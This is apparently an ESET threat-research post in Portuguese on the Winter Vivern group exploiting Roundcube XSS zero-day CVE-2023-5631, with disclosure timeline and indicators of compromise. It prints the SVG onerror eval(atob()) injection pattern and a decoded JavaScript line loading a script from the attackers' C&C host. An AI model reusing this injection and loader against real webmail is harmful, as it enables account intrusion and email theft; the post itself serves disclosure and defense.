A Equipe de Pesquisa da ESET tem acompanhado de perto as operações de ciberespionagem do Winter Vivern por mais de um ano e, durante nosso monitoramento de rotina, descobrimos que o grupo começou a explorar uma vulnerabilidade XSS de zero-day no servidor Roundcube Webmail em 11 de outubro de 2023. Essa é uma vulnerabilidade diferente da CVE-2020-35730, que também foi explorada pelo grupo, de acordo com nossa pesquisa.
De acordo com os dados de telemetria da ESET, a campanha teve como alvo os servidores Roundcube Webmail pertencentes a órgãos governamentais e a um think tank, todos na Europa.
Linha do tempo da divulgação da vulnerabilidade:
- 12-10-2023: A Equipe de Pesquisa da ESET relatou a vulnerabilidade à equipe do Roundcube.
- 14-10-2023: A equipe do Roundcube respondeu e reconheceu a vulnerabilidade.
- 14-10-2023: A equipe do Roundcube corrigiu a vulnerabilidade.
- 16-10-2023: A equipe do Roundcube lançou atualizações de segurança para corrigir a vulnerabilidade (1.6.4, 1.5.5 e 1.4.15).
- 18-10-2023: A ESET CNA emite um CVE para a vulnerabilidade (CVE-2023-5631).
- 25-10-2023: Publicação de um post no blog da Equipe de Pesquisa da ESET.
Gostaríamos de agradecer aos desenvolvedores do Roundcube pela rápida resposta e por corrigir a vulnerabilidade em um período de tempo tão curto.
Perfil do Winter Vivern
O Winter Vivern é um grupo de ciberespionagem descoberto pela primeira vez pela DomainTools em 2021. Acredita-se que ele esteja ativo desde pelo menos 2020 e tem como alvo governos da Europa e da Ásia Central. Para comprometer seus alvos, o grupo usa documentos maliciosos, sites de phishing e um backdoor personalizado do PowerShell (veja os artigos do Centro de Proteção Cibernética do Estado da Ucrânia e do SentinelLabs). Acreditamos que o Winter Vivern está vinculado ao MoustachedBouncer, um sofisticado grupo alinhado à Bielorrússia sobre o qual publicamos pela primeira vez em agosto de 2023.
O Winter Vivern tem como alvo os servidores de e-mail Zimbra e Roundcube pertencentes a órgãos governamentais desde pelo menos 2022 - veja este artigo da Proofpoint. Em particular, observamos que o grupo explorou a CVE-2020-35730, outra vulnerabilidade XSS no Roundcube, em agosto e setembro de 2023. Observe que o Sednit (também conhecido como APT28) também está explorando essa antiga vulnerabilidade XSS no Roundcube, às vezes contra os mesmos alvos.
Detalhes técnicos
A exploração da vulnerabilidade XSS, designada CVE-2023-5631, pode ser feita remotamente enviando uma mensagem de e-mail especialmente criada. Nessa campanha do grupo Winter Vivern, os e-mails foram enviados do e-mail team.managment@outlook[.]com e tinham o assunto Get started in your Outlook, conforme mostrado na Figura 1.
À primeira vista, o e-mail não parece malicioso, mas se examinarmos o código-fonte HTML, mostrado na Figura 2, podemos ver uma tag SVG no final, que contém um payload codificado em base64.
Quando decodificamos o valor codificado em base64 no atributo href da tag use, temos:
<svg id="x" xmlns="http://www.w3.org/2000/svg"> <image href="x" onerror="eval(atob('<base64-encoded payload>'))" /></svg>
Como o argumento x value do atributo href não é um URL válido, o atributo onerror desse objeto será ativado. A decodificação do payload no atributo onerror nos fornece o seguinte código JavaScript (com o URL malicioso alterado manualmente), que será executado no navegador da vítima no contexto de sua sessão:
var fe=document.createElement('script');fe.src="https://recsecas[.]com/controlserver/checkupdate.js";document.body.appendChild(fe);
Surpreendentemente, notamos que a injeção de JavaScript funcionou em uma instância do Roundcube totalmente corrigida. Descobrimos que se tratava de uma vulnerabilidade XSS de zero-day que afetava o script do lado do servidor rcube_washtml.php, que não higieniza adequadamente o documento SVG malicioso antes de ser adicionado à página HTML interpretada por um usuário do Roundcube. Informamos o Roundcube sobre o problema e ele foi corrigido em 14 de outubro de 2023 (veja este commit). A vulnerabilidade afeta as versões do Roundcube 1.6.x antes da 1.6.4, 1.5.x antes da 1.5.5 e 1.4.x antes da 1.4.15.
Em resumo, ao enviar uma mensagem de e-mail especialmente elaborada, os atacantes podem carregar código JavaScript arbitrário no contexto da janela do navegador do usuário do Roundcube. Não é necessária nenhuma interação manual além da visualização da mensagem em um navegador da Web.
O segundo estágio é um loader de JavaScript simples chamado checkupdate.js, assim como mostrado na Figura 3.
O payload JavaScript final - mostrado na Figura 4 - é capaz de listar pastas e e-mails na conta atual do Roundcube e exfiltrar mensagens de e-mail para o servidor C&C fazendo solicitações HTTP para https://recsecas[.]com/controlserver/saveMessage.
Conclusão
O Winter Vivern intensificou suas operações usando uma vulnerabilidade zero-day no Roundcube. Anteriormente, ele estava usando vulnerabilidades conhecidas no Roundcube e no Zimbra, para as quais existem provas de conceito disponíveis on-line.
Apesar da baixa sofisticação do conjunto de ferramentas do grupo, eles são uma ameaça para os governos da Europa devido à sua persistência, à execução muito regular de campanhas de phishing e ao fato de um número significativo de aplicativos voltados para a internet não ser atualizado regularmente, embora se saiba que eles contêm vulnerabilidades.
Indicadores de Comprometimento
Arquivos
SHA-1 |
Filename |
Detection |
Description |
97ED594EF2B5755F0549C6C5758377C0B87CFAE0 |
checkupdate.js |
JS/WinterVivern.B |
JavaScript loader. |
8BF7FCC70F6CE032217D9210EF30314DDD6B8135 |
N/A |
JS/Kryptik.BIK |
JavaScript payload exfiltrating emails in Roundcube. |
Rede
IP |
Domain |
Hosting provider |
First seen |
Details |
38.180.76[.]31 |
recsecas[.]com |
M247 Europe SRL |
2023-09-28 |
Winter Vivern C&C server |
Endereços de e-mail
team.managment@outlook[.]com
Técnicas do MITRE ATT&CK
Esta tabela foi criada usando a versão 13 da estrutura MITRE ATT&CK.